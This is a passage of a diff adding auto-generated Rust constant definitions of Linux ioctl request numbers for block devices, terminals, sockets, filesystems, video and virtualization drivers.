++pub const BLKROSET: u32 = 4701;
++pub const BLKROGET: u32 = 4702;
++pub const BLKRRPART: u32 = 4703;
++pub const BLKGETSIZE: u32 = 4704;
++pub const BLKFLSBUF: u32 = 4705;
++pub const BLKRASET: u32 = 4706;
++pub const BLKRAGET: u32 = 4707;
++pub const BLKFRASET: u32 = 4708;
++pub const BLKFRAGET: u32 = 4709;
++pub const BLKSECTSET: u32 = 4710;
++pub const BLKSECTGET: u32 = 4711;
++pub const BLKPG: u32 = 4713;
++pub const BLKBSZGET: u32 = 2148012656;
++pub const BLKBSZSET: u32 = 1074270833;
++pub const BLKGETSIZE64: u32 = 2148012658;
++pub const BLKTRACESETUP: u32 = 3225948787;
++pub const BLKTRACESTART: u32 = 4724;
++pub const BLKTRACESTOP: u32 = 4725;
++pub const BLKTRACETEARDOWN: u32 = 4726;
++pub const BLKDISCARD: u32 = 4727;
++pub const BLKIOMIN: u32 = 4728;
++pub const BLKIOOPT: u32 = 4729;
++pub const BLKALIGNOFF: u32 = 4730;
++pub const BLKDISCARDZEROES: u32 = 4732;
++pub const BLKSECDISCARD: u32 = 4733;
++pub const BLKROTATIONAL: u32 = 4734;
++pub const BLKZEROOUT: u32 = 4735;
++pub const UFFDIO_REGISTER: u32 = 3223366144;
++pub const UFFDIO_UNREGISTER: u32 = 2148575745;
++pub const UFFDIO_WAKE: u32 = 2148575746;
++pub const UFFDIO_COPY: u32 = 3223890435;
++pub const UFFDIO_ZEROPAGE: u32 = 3223366148;
++pub const UFFDIO_WRITEPROTECT: u32 = 3222841862;
++pub const UFFDIO_API: u32 = 3222841919;
++pub const NS_GET_USERNS: u32 = 46849;
++pub const NS_GET_PARENT: u32 = 46850;
++pub const NS_GET_NSTYPE: u32 = 46851;
++pub const KDGETLED: u32 = 19249;
++pub const KDSETLED: u32 = 19250;
++pub const KDGKBLED: u32 = 19300;
++pub const KDSKBLED: u32 = 19301;
++pub const KDGKBTYPE: u32 = 19251;
++pub const KDADDIO: u32 = 19252;
++pub const KDDELIO: u32 = 19253;
++pub const KDENABIO: u32 = 19254;
++pub const KDDISABIO: u32 = 19255;
++pub const KDSETMODE: u32 = 19258;
++pub const KDGETMODE: u32 = 19259;
++pub const KDMKTONE: u32 = 19248;
++pub const KIOCSOUND: u32 = 19247;
++pub const GIO_CMAP: u32 = 19312;
++pub const PIO_CMAP: u32 = 19313;
++pub const GIO_FONT: u32 = 19296;
++pub const GIO_FONTX: u32 = 19307;
++pub const PIO_FONT: u32 = 19297;
++pub const PIO_FONTX: u32 = 19308;
++pub const PIO_FONTRESET: u32 = 19309;
++pub const GIO_SCRNMAP: u32 = 19264;
++pub const GIO_UNISCRNMAP: u32 = 19305;
++pub const PIO_SCRNMAP: u32 = 19265;
++pub const PIO_UNISCRNMAP: u32 = 19306;
++pub const GIO_UNIMAP: u32 = 19302;
++pub const PIO_UNIMAP: u32 = 19303;
++pub const PIO_UNIMAPCLR: u32 = 19304;
++pub const KDGKBMODE: u32 = 19268;
++pub const KDSKBMODE: u32 = 19269;
++pub const KDGKBMETA: u32 = 19298;
++pub const KDSKBMETA: u32 = 19299;
++pub const KDGKBENT: u32 = 19270;
++pub const KDSKBENT: u32 = 19271;
++pub const KDGKBSENT: u32 = 19272;
++pub const KDSKBSENT: u32 = 19273;
++pub const KDGKBDIACR: u32 = 19274;
++pub const KDGETKEYCODE: u32 = 19276;
++pub const KDSETKEYCODE: u32 = 19277;
++pub const KDSIGACCEPT: u32 = 19278;
++pub const VT_OPENQRY: u32 = 22016;
++pub const VT_GETMODE: u32 = 22017;
++pub const VT_SETMODE: u32 = 22018;
++pub const VT_GETSTATE: u32 = 22019;
++pub const VT_RELDISP: u32 = 22021;
++pub const VT_ACTIVATE: u32 = 22022;
++pub const VT_WAITACTIVE: u32 = 22023;
++pub const VT_DISALLOCATE: u32 = 22024;
++pub const VT_RESIZE: u32 = 22025;
++pub const VT_RESIZEX: u32 = 22026;
++pub const FIOSETOWN: u32 = 35073;
++pub const SIOCSPGRP: u32 = 35074;
++pub const FIOGETOWN: u32 = 35075;
++pub const SIOCGPGRP: u32 = 35076;
++pub const SIOCATMARK: u32 = 35077;
++pub const SIOCGSTAMP: u32 = 35078;
++pub const TIOCINQ: u32 = 21531;
++pub const SIOCADDRT: u32 = 35083;
++pub const SIOCDELRT: u32 = 35084;
++pub const SIOCGIFNAME: u32 = 35088;
++pub const SIOCSIFLINK: u32 = 35089;
++pub const SIOCGIFCONF: u32 = 35090;
++pub const SIOCGIFFLAGS: u32 = 35091;
++pub const SIOCSIFFLAGS: u32 = 35092;
++pub const SIOCGIFADDR: u32 = 35093;
++pub const SIOCSIFADDR: u32 = 35094;
++pub const SIOCGIFDSTADDR: u32 = 35095;
++pub const SIOCSIFDSTADDR: u32 = 35096;
++pub const SIOCGIFBRDADDR: u32 = 35097;
++pub const SIOCSIFBRDADDR: u32 = 35098;
++pub const SIOCGIFNETMASK: u32 = 35099;
++pub const SIOCSIFNETMASK: u32 = 35100;
++pub const SIOCGIFMETRIC: u32 = 35101;
++pub const SIOCSIFMETRIC: u32 = 35102;
++pub const SIOCGIFMEM: u32 = 35103;
++pub const SIOCSIFMEM: u32 = 35104;
++pub const SIOCGIFMTU: u32 = 35105;
++pub const SIOCSIFMTU: u32 = 35106;
++pub const SIOCSIFHWADDR: u32 = 35108;
++pub const SIOCGIFENCAP: u32 = 35109;
++pub const SIOCSIFENCAP: u32 = 35110;
++pub const SIOCGIFHWADDR: u32 = 35111;
++pub const SIOCGIFSLAVE: u32 = 35113;
++pub const SIOCSIFSLAVE: u32 = 35120;
++pub const SIOCADDMULTI: u32 = 35121;
++pub const SIOCDELMULTI: u32 = 35122;
++pub const SIOCDARP: u32 = 35155;
++pub const SIOCGARP: u32 = 35156;
++pub const SIOCSARP: u32 = 35157;
++pub const SIOCDRARP: u32 = 35168;
++pub const SIOCGRARP: u32 = 35169;
++pub const SIOCSRARP: u32 = 35170;
++pub const SIOCGIFMAP: u32 = 35184;
++pub const SIOCSIFMAP: u32 = 35185;
++pub const SIOCRTMSG: u32 = 35085;
++pub const SIOCSIFNAME: u32 = 35107;
++pub const SIOCGIFINDEX: u32 = 35123;
++pub const SIOGIFINDEX: u32 = 35123;
++pub const SIOCSIFPFLAGS: u32 = 35124;
++pub const SIOCGIFPFLAGS: u32 = 35125;
++pub const SIOCDIFADDR: u32 = 35126;
++pub const SIOCSIFHWBROADCAST: u32 = 35127;
++pub const SIOCGIFCOUNT: u32 = 35128;
++pub const SIOCGIFBR: u32 = 35136;
++pub const SIOCSIFBR: u32 = 35137;
++pub const SIOCGIFTXQLEN: u32 = 35138;
++pub const SIOCSIFTXQLEN: u32 = 35139;
++pub const SIOCADDDLCI: u32 = 35200;
++pub const SIOCDELDLCI: u32 = 35201;
++pub const SIOCDEVPRIVATE: u32 = 35312;
++pub const SIOCPROTOPRIVATE: u32 = 35296;
++pub const FIBMAP: u32 = 1;
++pub const FIGETBSZ: u32 = 2;
++pub const FIFREEZE: u32 = 3221510263;
++pub const FITHAW: u32 = 3221510264;
++pub const FITRIM: u32 = 3222820985;
++pub const FICLONE: u32 = 1074041865;
++pub const FICLONERANGE: u32 = 1075876877;
++pub const FIDEDUPERANGE: u32 = 3222836278;
++pub const FS_IOC_GETFLAGS: u32 = 2148034049;
++pub const FS_IOC_SETFLAGS: u32 = 1074292226;
++pub const FS_IOC_GETVERSION: u32 = 2148038145;
++pub const FS_IOC_SETVERSION: u32 = 1074296322;
++pub const FS_IOC_FIEMAP: u32 = 3223348747;
++pub const FS_IOC32_GETFLAGS: u32 = 2147771905;
++pub const FS_IOC32_SETFLAGS: u32 = 1074030082;
++pub const FS_IOC32_GETVERSION: u32 = 2147776001;
++pub const FS_IOC32_SETVERSION: u32 = 1074034178;
++pub const FS_IOC_FSGETXATTR: u32 = 2149341215;
++pub const FS_IOC_FSSETXATTR: u32 = 1075599392;
++pub const FS_IOC_GETFSLABEL: u32 = 2164298801;
++pub const FS_IOC_SETFSLABEL: u32 = 1090556978;
++pub const EXT4_IOC_GETVERSION: u32 = 2148034051;
++pub const EXT4_IOC_SETVERSION: u32 = 1074292228;
++pub const EXT4_IOC_GETVERSION_OLD: u32 = 2148038145;
++pub const EXT4_IOC_SETVERSION_OLD: u32 = 1074296322;
++pub const EXT4_IOC_GETRSVSZ: u32 = 2148034053;
++pub const EXT4_IOC_SETRSVSZ: u32 = 1074292230;
++pub const EXT4_IOC_GROUP_EXTEND: u32 = 1074292231;
++pub const EXT4_IOC_MIGRATE: u32 = 26121;
++pub const EXT4_IOC_ALLOC_DA_BLKS: u32 = 26124;
++pub const EXT4_IOC_RESIZE_FS: u32 = 1074292240;
++pub const EXT4_IOC_SWAP_BOOT: u32 = 26129;
++pub const EXT4_IOC_PRECACHE_EXTENTS: u32 = 26130;
++pub const EXT4_IOC_CLEAR_ES_CACHE: u32 = 26152;
++pub const EXT4_IOC_GETSTATE: u32 = 1074030121;
++pub const EXT4_IOC_GET_ES_CACHE: u32 = 3223348778;
++pub const EXT4_IOC_CHECKPOINT: u32 = 1074030123;
++pub const EXT4_IOC_SHUTDOWN: u32 = 2147768445;
++pub const EXT4_IOC32_GETVERSION: u32 = 2147771907;
++pub const EXT4_IOC32_SETVERSION: u32 = 1074030084;
++pub const EXT4_IOC32_GETRSVSZ: u32 = 2147771909;
++pub const EXT4_IOC32_SETRSVSZ: u32 = 1074030086;
++pub const EXT4_IOC32_GROUP_EXTEND: u32 = 1074030087;
++pub const EXT4_IOC32_GETVERSION_OLD: u32 = 2147776001;
++pub const EXT4_IOC32_SETVERSION_OLD: u32 = 1074034178;
++pub const VIDIOC_SUBDEV_QUERYSTD: u32 = 2148030015;
++pub const AUTOFS_DEV_IOCTL_CLOSEMOUNT: u32 = 3222836085;
++pub const LIRC_SET_SEND_CARRIER: u32 = 1074030867;
++pub const AUTOFS_IOC_PROTOSUBVER: u32 = 2147783527;
++pub const PTP_SYS_OFFSET_PRECISE: u32 = 3225435400;
++pub const FSI_SCOM_WRITE: u32 = 3223352066;
++pub const ATM_GETCIRANGE: u32 = 1074815370;
++pub const DMA_BUF_SET_NAME_B: u32 = 1074291201;
++pub const RIO_CM_EP_GET_LIST_SIZE: u32 = 3221512961;
++pub const TUNSETPERSIST: u32 = 1074025675;
++pub const FS_IOC_GET_ENCRYPTION_POLICY: u32 = 1074554389;
++pub const CEC_RECEIVE: u32 = 3224920326;
++pub const MGSL_IOCGPARAMS: u32 = 2150657281;
++pub const ENI_SETMULT: u32 = 1074815335;
++pub const RIO_GET_EVENT_MASK: u32 = 2147773710;
++pub const LIRC_GET_MAX_TIMEOUT: u32 = 2147772681;
++pub const USBDEVFS_CLAIMINTERFACE: u32 = 2147767567;
++pub const CHIOMOVE: u32 = 1075077889;
++pub const SONYPI_IOCGBATFLAGS: u32 = 2147579399;
++pub const BTRFS_IOC_SYNC: u32 = 37896;
++pub const VIDIOC_TRY_FMT: u32 = 3234879040;
++pub const LIRC_SET_REC_MODE: u32 = 1074030866;
++pub const VIDIOC_DQEVENT: u32 = 2156418649;
++pub const RPMSG_DESTROY_EPT_IOCTL: u32 = 46338;
++pub const UVCIOC_CTRL_MAP: u32 = 3227546912;
++pub const VHOST_SET_BACKEND_FEATURES: u32 = 1074310949;
++pub const VHOST_VSOCK_SET_GUEST_CID: u32 = 1074311008;
++pub const UI_SET_KEYBIT: u32 = 1074025829;
++pub const LIRC_SET_REC_TIMEOUT: u32 = 1074030872;
++pub const FS_IOC_GET_ENCRYPTION_KEY_STATUS: u32 = 3229640218;
++pub const BTRFS_IOC_TREE_SEARCH_V2: u32 = 3228603409;
++pub const VHOST_SET_VRING_BASE: u32 = 1074310930;
++pub const RIO_ENABLE_DOORBELL_RANGE: u32 = 1074294025;
++pub const VIDIOC_TRY_EXT_CTRLS: u32 = 3223344713;
++pub const LIRC_GET_REC_MODE: u32 = 2147772674;
++pub const PPGETTIME: u32 = 2148561045;
++pub const BTRFS_IOC_RM_DEV: u32 = 1342215179;
++pub const ATM_SETBACKEND: u32 = 1073897970;
++pub const FSL_HV_IOCTL_PARTITION_START: u32 = 3222318851;
++pub const FBIO_WAITEVENT: u32 = 18056;
++pub const SWITCHTEC_IOCTL_PORT_TO_PFF: u32 = 3222034245;
++pub const NVME_IOCTL_IO_CMD: u32 = 3225964099;
++pub const IPMICTL_RECEIVE_MSG_TRUNC: u32 = 3224398091;
++pub const FDTWADDLE: u32 = 601;
++pub const NVME_IOCTL_SUBMIT_IO: u32 = 1076907586;
++pub const NILFS_IOCTL_SYNC: u32 = 2148036234;
++pub const VIDIOC_SUBDEV_S_DV_TIMINGS: u32 = 3229898327;
++pub const ASPEED_LPC_CTRL_IOCTL_GET_SIZE: u32 = 3222319616;
++pub const DM_DEV_STATUS: u32 = 3241737479;
++pub const TEE_IOC_CLOSE_SESSION: u32 = 2147787781;
++pub const NS_GETPSTAT: u32 = 3222298977;
++pub const UI_SET_PROPBIT: u32 = 1074025838;
++pub const TUNSETFILTEREBPF: u32 = 2147767521;
++pub const RIO_MPORT_MAINT_COMPTAG_SET: u32 = 1074031874;
++pub const AUTOFS_DEV_IOCTL_VERSION: u32 = 3222836081;
++pub const WDIOC_SETOPTIONS: u32 = 2147768068;
++pub const VHOST_SCSI_SET_ENDPOINT: u32 = 1088991040;
++pub const MGSL_IOCGTXIDLE: u32 = 27907;
++pub const ATM_ADDLECSADDR: u32 = 1074815374;
++pub const FSL_HV_IOCTL_GETPROP: u32 = 3223891719;
++pub const FDGETPRM: u32 = 2149581316;
++pub const HIDIOCAPPLICATION: u32 = 18434;
++pub const ENI_MEMDUMP: u32 = 1074815328;
++pub const PTP_SYS_OFFSET2: u32 = 1128283406;
++pub const VIDIOC_SUBDEV_G_DV_TIMINGS: u32 = 3229898328;
++pub const DMA_BUF_SET_NAME_A: u32 = 1074029057;
++pub const PTP_PIN_GETFUNC: u32 = 3227532550;
++pub const PTP_SYS_OFFSET_EXTENDED: u32 = 3300932873;
++pub const DFL_FPGA_PORT_UINT_SET_IRQ: u32 = 1074312776;
++pub const RTC_EPOCH_READ: u32 = 2148036621;
++pub const VIDIOC_SUBDEV_S_SELECTION: u32 = 3225441854;
++pub const VIDIOC_QUERY_EXT_CTRL: u32 = 3236451943;
++pub const ATM_GETLECSADDR: u32 = 1074815376;
++pub const FSL_HV_IOCTL_PARTITION_STOP: u32 = 3221794564;
++pub const SONET_GETDIAG: u32 = 2147770644;
++pub const ATMMPC_DATA: u32 = 25049;
++pub const IPMICTL_UNREGISTER_FOR_CMD_CHANS: u32 = 2148296989;
++pub const HIDIOCGCOLLECTIONINDEX: u32 = 1075333136;
++pub const RPMSG_CREATE_EPT_IOCTL: u32 = 1076409601;
++pub const GPIOHANDLE_GET_LINE_VALUES_IOCTL: u32 = 3225465864;
++pub const UI_DEV_SETUP: u32 = 1079792899;
++pub const ISST_IF_IO_CMD: u32 = 1074331138;
++pub const RIO_MPORT_MAINT_READ_REMOTE: u32 = 2149084423;
++pub const VIDIOC_OMAP3ISP_HIST_CFG: u32 = 3224393412;
++pub const BLKGETNRZONES: u32 = 2147750533;
++pub const VIDIOC_G_MODULATOR: u32 = 3225703990;
++pub const VBG_IOCTL_WRITE_CORE_DUMP: u32 = 3223082515;
++pub const USBDEVFS_SETINTERFACE: u32 = 2148029700;
++pub const PPPIOCGCHAN: u32 = 2147775543;
++pub const EVIOCGVERSION: u32 = 2147763457;
++pub const VHOST_NET_SET_BACKEND: u32 = 1074310960;
++pub const USBDEVFS_REAPURBNDELAY: u32 = 1074287885;
++pub const RNDZAPENTCNT: u32 = 20996;
++pub const VIDIOC_G_PARM: u32 = 3234616853;
++pub const TUNGETDEVNETNS: u32 = 21731;
++pub const LIRC_SET_MEASURE_CARRIER_MODE: u32 = 1074030877;
++pub const VHOST_SET_VRING_ERR: u32 = 1074310946;
++pub const VDUSE_VQ_SETUP: u32 = 1075872020;
++pub const AUTOFS_IOC_SETTIMEOUT: u32 = 3221787492;
++pub const VIDIOC_S_FREQUENCY: u32 = 1076647481;
++pub const F2FS_IOC_SEC_TRIM_FILE: u32 = 1075377428;
++pub const FS_IOC_REMOVE_ENCRYPTION_KEY: u32 = 3225445912;
++pub const WDIOC_GETPRETIMEOUT: u32 = 2147768073;
++pub const USBDEVFS_DROP_PRIVILEGES: u32 = 1074025758;
++pub const BTRFS_IOC_SNAP_CREATE_V2: u32 = 1342215191;
++pub const VHOST_VSOCK_SET_RUNNING: u32 = 1074048865;
++pub const STP_SET_OPTIONS: u32 = 1074275586;
++pub const FBIO_RADEON_GET_MIRROR: u32 = 2148024323;
++pub const IVTVFB_IOC_DMA_FRAME: u32 = 1075336896;
++pub const IPMICTL_SEND_COMMAND: u32 = 2150131981;
++pub const VIDIOC_G_ENC_INDEX: u32 = 2283296332;
++pub const DFL_FPGA_FME_PORT_PR: u32 = 46720;
++pub const CHIOSVOLTAG: u32 = 1076912914;
++pub const ATM_SETESIF: u32 = 1074815373;
++pub const FW_CDEV_IOC_SEND_RESPONSE: u32 = 1075323652;
++pub const PMU_IOC_GET_MODEL: u32 = 2148024835;
++pub const JSIOCGBTNMAP: u32 = 2214619700;
++pub const USBDEVFS_HUB_PORTINFO: u32 = 2155894035;
++pub const VBG_IOCTL_INTERRUPT_ALL_WAIT_FOR_EVENTS: u32 = 3222820363;
++pub const FDCLRPRM: u32 = 577;
++pub const BTRFS_IOC_SCRUB: u32 = 3288372251;
++pub const USBDEVFS_DISCONNECT: u32 = 21782;
++pub const TUNSETVNETBE: u32 = 1074025694;
++pub const ATMTCP_REMOVE: u32 = 24975;
++pub const VHOST_VDPA_GET_CONFIG: u32 = 2148052851;
++pub const PPPIOCGNPMODE: u32 = 3221779532;
++pub const FDGETDRVPRM: u32 = 2155872785;
++pub const TUNSETVNETLE: u32 = 1074025692;
++pub const PHN_SETREG: u32 = 1074294790;
++pub const PPPIOCDETACH: u32 = 1074033724;
++pub const MMTIMER_GETRES: u32 = 2148035841;
++pub const VIDIOC_SUBDEV_ENUMSTD: u32 = 3225966105;
++pub const PPGETFLAGS: u32 = 2147774618;
++pub const VDUSE_DEV_GET_FEATURES: u32 = 2148040977;
++pub const CAPI_MANUFACTURER_CMD: u32 = 3222291232;
++pub const VIDIOC_G_TUNER: u32 = 3226752541;
++pub const DM_TABLE_STATUS: u32 = 3241737484;
++pub const DM_DEV_ARM_POLL: u32 = 3241737488;
++pub const NE_CREATE_VM: u32 = 2148052512;
++pub const MEDIA_IOC_ENUM_LINKS: u32 = 3223878658;
++pub const F2FS_IOC_PRECACHE_EXTENTS: u32 = 62735;
++pub const DFL_FPGA_PORT_DMA_MAP: u32 = 46659;
++pub const MGSL_IOCGXCTRL: u32 = 27926;
++pub const FW_CDEV_IOC_SEND_REQUEST: u32 = 1076372225;
++pub const SONYPI_IOCGBLUE: u32 = 2147579400;
++pub const F2FS_IOC_DECOMPRESS_FILE: u32 = 62743;
++pub const I2OHTML: u32 = 3224398089;
++pub const VFIO_GET_API_VERSION: u32 = 15204;
++pub const IDT77105_GETSTATZ: u32 = 1074815283;
++pub const I2OPARMSET: u32 = 3223873795;
++pub const TEE_IOC_CANCEL: u32 = 2148049924;
++pub const PTP_SYS_OFFSET_PRECISE2: u32 = 3225435409;
++pub const DFL_FPGA_PORT_RESET: u32 = 46656;
++pub const PPPIOCGASYNCMAP: u32 = 2147775576;
++pub const EVIOCGKEYCODE_V2: u32 = 2150122756;
++pub const DM_DEV_SET_GEOMETRY: u32 = 3241737487;
++pub const HIDIOCSUSAGE: u32 = 1075333132;
++pub const FW_CDEV_IOC_DEALLOCATE_ISO_RESOURCE_ONCE: u32 = 1075323664;
++pub const PTP_EXTTS_REQUEST: u32 = 1074806018;
++pub const SWITCHTEC_IOCTL_EVENT_CTL: u32 = 3223869251;
++pub const WDIOC_SETPRETIMEOUT: u32 = 3221509896;
++pub const VHOST_SCSI_CLEAR_ENDPOINT: u32 = 1088991041;
++pub const JSIOCGAXES: u32 = 2147576337;
++pub const HIDIOCSFLAG: u32 = 1074022415;
++pub const PTP_PEROUT_REQUEST2: u32 = 1077427468;
++pub const PPWDATA: u32 = 1073836166;
++pub const PTP_CLOCK_GETCAPS: u32 = 2152742145;
++pub const FDGETMAXERRS: u32 = 2148794894;
++pub const TUNSETQUEUE: u32 = 1074025689;
++pub const PTP_ENABLE_PPS: u32 = 1074019588;
++pub const SIOCSIFATMTCP: u32 = 24960;
++pub const CEC_ADAP_G_LOG_ADDRS: u32 = 2153537795;
++pub const ND_IOCTL_ARS_CAP: u32 = 3223342593;
++pub const NBD_SET_BLKSIZE: u32 = 43777;
++pub const NBD_SET_TIMEOUT: u32 = 43785;
++pub const VHOST_SCSI_GET_ABI_VERSION: u32 = 1074048834;
++pub const RIO_UNMAP_INBOUND: u32 = 1074294034;
++pub const ATM_QUERYLOOP: u32 = 1074815316;
++pub const DFL_FPGA_GET_API_VERSION: u32 = 46592;
++pub const USBDEVFS_WAIT_FOR_RESUME: u32 = 21795;
++pub const FBIO_CURSOR: u32 = 3228059144;
++pub const RNDCLEARPOOL: u32 = 20998;
++pub const VIDIOC_QUERYSTD: u32 = 2148030015;
++pub const DMA_BUF_IOCTL_SYNC: u32 = 1074291200;
++pub const SCIF_RECV: u32 = 3222827783;
++pub const PTP_PIN_GETFUNC2: u32 = 3227532559;
++pub const FW_CDEV_IOC_ALLOCATE: u32 = 3223331586;
++pub const CEC_ADAP_G_CAPS: u32 = 3226231040;
++pub const VIDIOC_G_FBUF: u32 = 2150651402;
++pub const PTP_ENABLE_PPS2: u32 = 1074019597;
++pub const PCITEST_CLEAR_IRQ: u32 = 20496;
++pub const IPMICTL_SET_GETS_EVENTS_CMD: u32 = 2147772688;
++pub const BTRFS_IOC_DEVICES_READY: u32 = 2415957031;
++pub const JSIOCGAXMAP: u32 = 2151705138;
++pub const FW_CDEV_IOC_GET_CYCLE_TIMER: u32 = 2148541196;
++pub const FW_CDEV_IOC_SET_ISO_CHANNELS: u32 = 1074799383;
++pub const RTC_WIE_OFF: u32 = 28688;
++pub const PPGETMODE: u32 = 2147774616;
++pub const VIDIOC_DBG_G_REGISTER: u32 = 3224917584;
++pub const PTP_SYS_OFFSET: u32 = 1128283397;
++pub const BTRFS_IOC_SPACE_INFO: u32 = 3222311956;
++pub const VIDIOC_SUBDEV_ENUM_FRAME_SIZE: u32 = 3225441866;
++pub const ND_IOCTL_VENDOR: u32 = 3221769737;
++pub const SCIF_VREADFROM: u32 = 3223876364;
++pub const BTRFS_IOC_TRANS_START: u32 = 37894;
++pub const INOTIFY_IOC_SETNEXTWD: u32 = 1074022656;
++pub const SNAPSHOT_GET_IMAGE_SIZE: u32 = 2148021006;
++pub const TUNDETACHFILTER: u32 = 1074812118;
++pub const ND_IOCTL_CLEAR_ERROR: u32 = 3223342596;
++pub const IOC_PR_CLEAR: u32 = 1074819277;
++pub const SCIF_READFROM: u32 = 3223876362;
++pub const PPPIOCGDEBUG: u32 = 2147775553;
++pub const BLKGETZONESZ: u32 = 2147750532;
++pub const HIDIOCGUSAGES: u32 = 3491514387;
++pub const SONYPI_IOCGTEMP: u32 = 2147579404;
++pub const UI_SET_MSCBIT: u32 = 1074025832;
++pub const APM_IOC_SUSPEND: u32 = 16642;
++pub const BTRFS_IOC_TREE_SEARCH: u32 = 3489698833;
++pub const RTC_PLL_GET: u32 = 2149609489;
++pub const RIO_CM_EP_GET_LIST: u32 = 3221512962;
++pub const USBDEVFS_DISCSIGNAL: u32 = 2148553998;
++pub const LIRC_GET_MIN_TIMEOUT: u32 = 2147772680;
++pub const SWITCHTEC_IOCTL_EVENT_SUMMARY_LEGACY: u32 = 2174244674;
++pub const DM_TARGET_MSG: u32 = 3241737486;
++pub const SONYPI_IOCGBAT1REM: u32 = 2147644931;
++pub const EVIOCSFF: u32 = 1076905344;
++pub const TUNSETGROUP: u32 = 1074025678;
++pub const EVIOCGKEYCODE: u32 = 2148025604;
++pub const KCOV_REMOTE_ENABLE: u32 = 1075340134;
++pub const ND_IOCTL_GET_CONFIG_SIZE: u32 = 3222031876;
++pub const FDEJECT: u32 = 602;
++pub const TUNSETOFFLOAD: u32 = 1074025680;
++pub const PPPIOCCONNECT: u32 = 1074033722;
++pub const ATM_ADDADDR: u32 = 1074815368;
++pub const VDUSE_DEV_INJECT_CONFIG_IRQ: u32 = 33043;
++pub const AUTOFS_DEV_IOCTL_ASKUMOUNT: u32 = 3222836093;
++pub const VHOST_VDPA_GET_STATUS: u32 = 2147594097;
++pub const CCISS_PASSTHRU: u32 = 3227009547;
++pub const MGSL_IOCCLRMODCOUNT: u32 = 27919;
++pub const TEE_IOC_SUPPL_SEND: u32 = 2148574215;
++pub const ATMARPD_CTRL: u32 = 25057;
++pub const UI_ABS_SETUP: u32 = 1075598596;
++pub const UI_DEV_DESTROY: u32 = 21762;
++pub const BTRFS_IOC_QUOTA_CTL: u32 = 3222311976;
++pub const RTC_AIE_ON: u32 = 28673;
++pub const AUTOFS_IOC_EXPIRE: u32 = 2165085029;
++pub const PPPIOCSDEBUG: u32 = 1074033728;
++pub const GPIO_V2_LINE_SET_VALUES_IOCTL: u32 = 3222320143;
++pub const PPPIOCSMRU: u32 = 1074033746;
++pub const CCISS_DEREGDISK: u32 = 16908;
++pub const UI_DEV_CREATE: u32 = 21761;
++pub const FUSE_DEV_IOC_CLONE: u32 = 2147804416;
++pub const BTRFS_IOC_START_SYNC: u32 = 2148045848;
++pub const NILFS_IOCTL_DELETE_CHECKPOINT: u32 = 1074294401;
++pub const SNAPSHOT_AVAIL_SWAP_SIZE: u32 = 2148021011;
++pub const DM_TABLE_CLEAR: u32 = 3241737482;
++pub const CCISS_GETINTINFO: u32 = 2148024834;
++pub const PPPIOCSASYNCMAP: u32 = 1074033751;
++pub const I2OEVTGET: u32 = 2154326283;
++pub const NVME_IOCTL_RESET: u32 = 20036;
++pub const PPYIELD: u32 = 28813;
++pub const NVME_IOCTL_IO64_CMD: u32 = 3226488392;
++pub const TUNSETCARRIER: u32 = 1074025698;
++pub const DM_DEV_WAIT: u32 = 3241737480;
++pub const RTC_WIE_ON: u32 = 28687;
++pub const MEDIA_IOC_DEVICE_INFO: u32 = 3238034432;
++pub const RIO_CM_CHAN_CREATE: u32 = 3221381891;
++pub const MGSL_IOCSPARAMS: u32 = 1076915456;
++pub const RTC_SET_TIME: u32 = 1076129802;
++pub const VHOST_RESET_OWNER: u32 = 44802;
++pub const IOC_OPAL_PSID_REVERT_TPR: u32 = 1091072232;
++pub const AUTOFS_DEV_IOCTL_OPENMOUNT: u32 = 3222836084;
++pub const UDF_GETEABLOCK: u32 = 2148035649;
++pub const VFIO_IOMMU_MAP_DMA: u32 = 15217;
++pub const VIDIOC_SUBSCRIBE_EVENT: u32 = 1075861082;
++pub const HIDIOCGFLAG: u32 = 2147764238;
++pub const HIDIOCGUCODE: u32 = 3222816781;
++pub const VIDIOC_OMAP3ISP_AF_CFG: u32 = 3226228421;
++pub const DM_REMOVE_ALL: u32 = 3241737473;
++pub const ASPEED_LPC_CTRL_IOCTL_MAP: u32 = 1074835969;
++pub const CCISS_GETFIRMVER: u32 = 2147762696;
++pub const ND_IOCTL_ARS_START: u32 = 3223342594;
++pub const PPPIOCSMRRU: u32 = 1074033723;
++pub const CEC_ADAP_S_LOG_ADDRS: u32 = 3227279620;
++pub const RPROC_GET_SHUTDOWN_ON_RELEASE: u32 = 2147792642;
++pub const DMA_HEAP_IOCTL_ALLOC: u32 = 3222816768;
++pub const PPSETTIME: u32 = 1074819222;
++pub const RTC_ALM_READ: u32 = 2149871624;
++pub const VDUSE_SET_API_VERSION: u32 = 1074299137;
++pub const RIO_MPORT_MAINT_WRITE_REMOTE: u32 = 1075342600;
++pub const VIDIOC_SUBDEV_S_CROP: u32 = 3224917564;
++pub const USBDEVFS_CONNECT: u32 = 21783;
++pub const SYNC_IOC_FILE_INFO: u32 = 3224911364;
++pub const ATMARP_MKIP: u32 = 25058;
++pub const VFIO_IOMMU_SPAPR_TCE_GET_INFO: u32 = 15216;
++pub const CCISS_GETHEARTBEAT: u32 = 2147762694;
++pub const ATM_RSTADDR: u32 = 1074815367;
++pub const NBD_SET_SIZE: u32 = 43778;
++pub const UDF_GETVOLIDENT: u32 = 2148035650;
++pub const GPIO_V2_LINE_GET_VALUES_IOCTL: u32 = 3222320142;
++pub const MGSL_IOCSTXIDLE: u32 = 27906;
++pub const FSL_HV_IOCTL_SETPROP: u32 = 3223891720;
++pub const BTRFS_IOC_GET_DEV_STATS: u32 = 3288896564;
++pub const PPRSTATUS: u32 = 2147577985;
++pub const MGSL_IOCTXENABLE: u32 = 27908;
++pub const UDF_GETEASIZE: u32 = 2147773504;
++pub const NVME_IOCTL_ADMIN64_CMD: u32 = 3226488391;
++pub const VHOST_SET_OWNER: u32 = 44801;
++pub const RIO_ALLOC_DMA: u32 = 3222826259;
++pub const RIO_CM_CHAN_ACCEPT: u32 = 3221775111;
++pub const I2OHRTGET: u32 = 3222825217;
++pub const ATM_SETCIRANGE: u32 = 1074815371;
++pub const HPET_IE_ON: u32 = 26625;
++pub const PERF_EVENT_IOC_ID: u32 = 2148017159;
++pub const TUNSETSNDBUF: u32 = 1074025684;
++pub const PTP_PIN_SETFUNC: u32 = 1080048903;
++pub const PPPIOCDISCONN: u32 = 29753;
++pub const VIDIOC_QUERYCTRL: u32 = 3225703972;
++pub const PPEXCL: u32 = 28815;
++pub const PCITEST_MSI: u32 = 1074024451;
++pub const FDWERRORCLR: u32 = 598;
++pub const AUTOFS_IOC_FAIL: u32 = 37729;
++pub const USBDEVFS_IOCTL: u32 = 3222295826;
++pub const VIDIOC_S_STD: u32 = 1074288152;
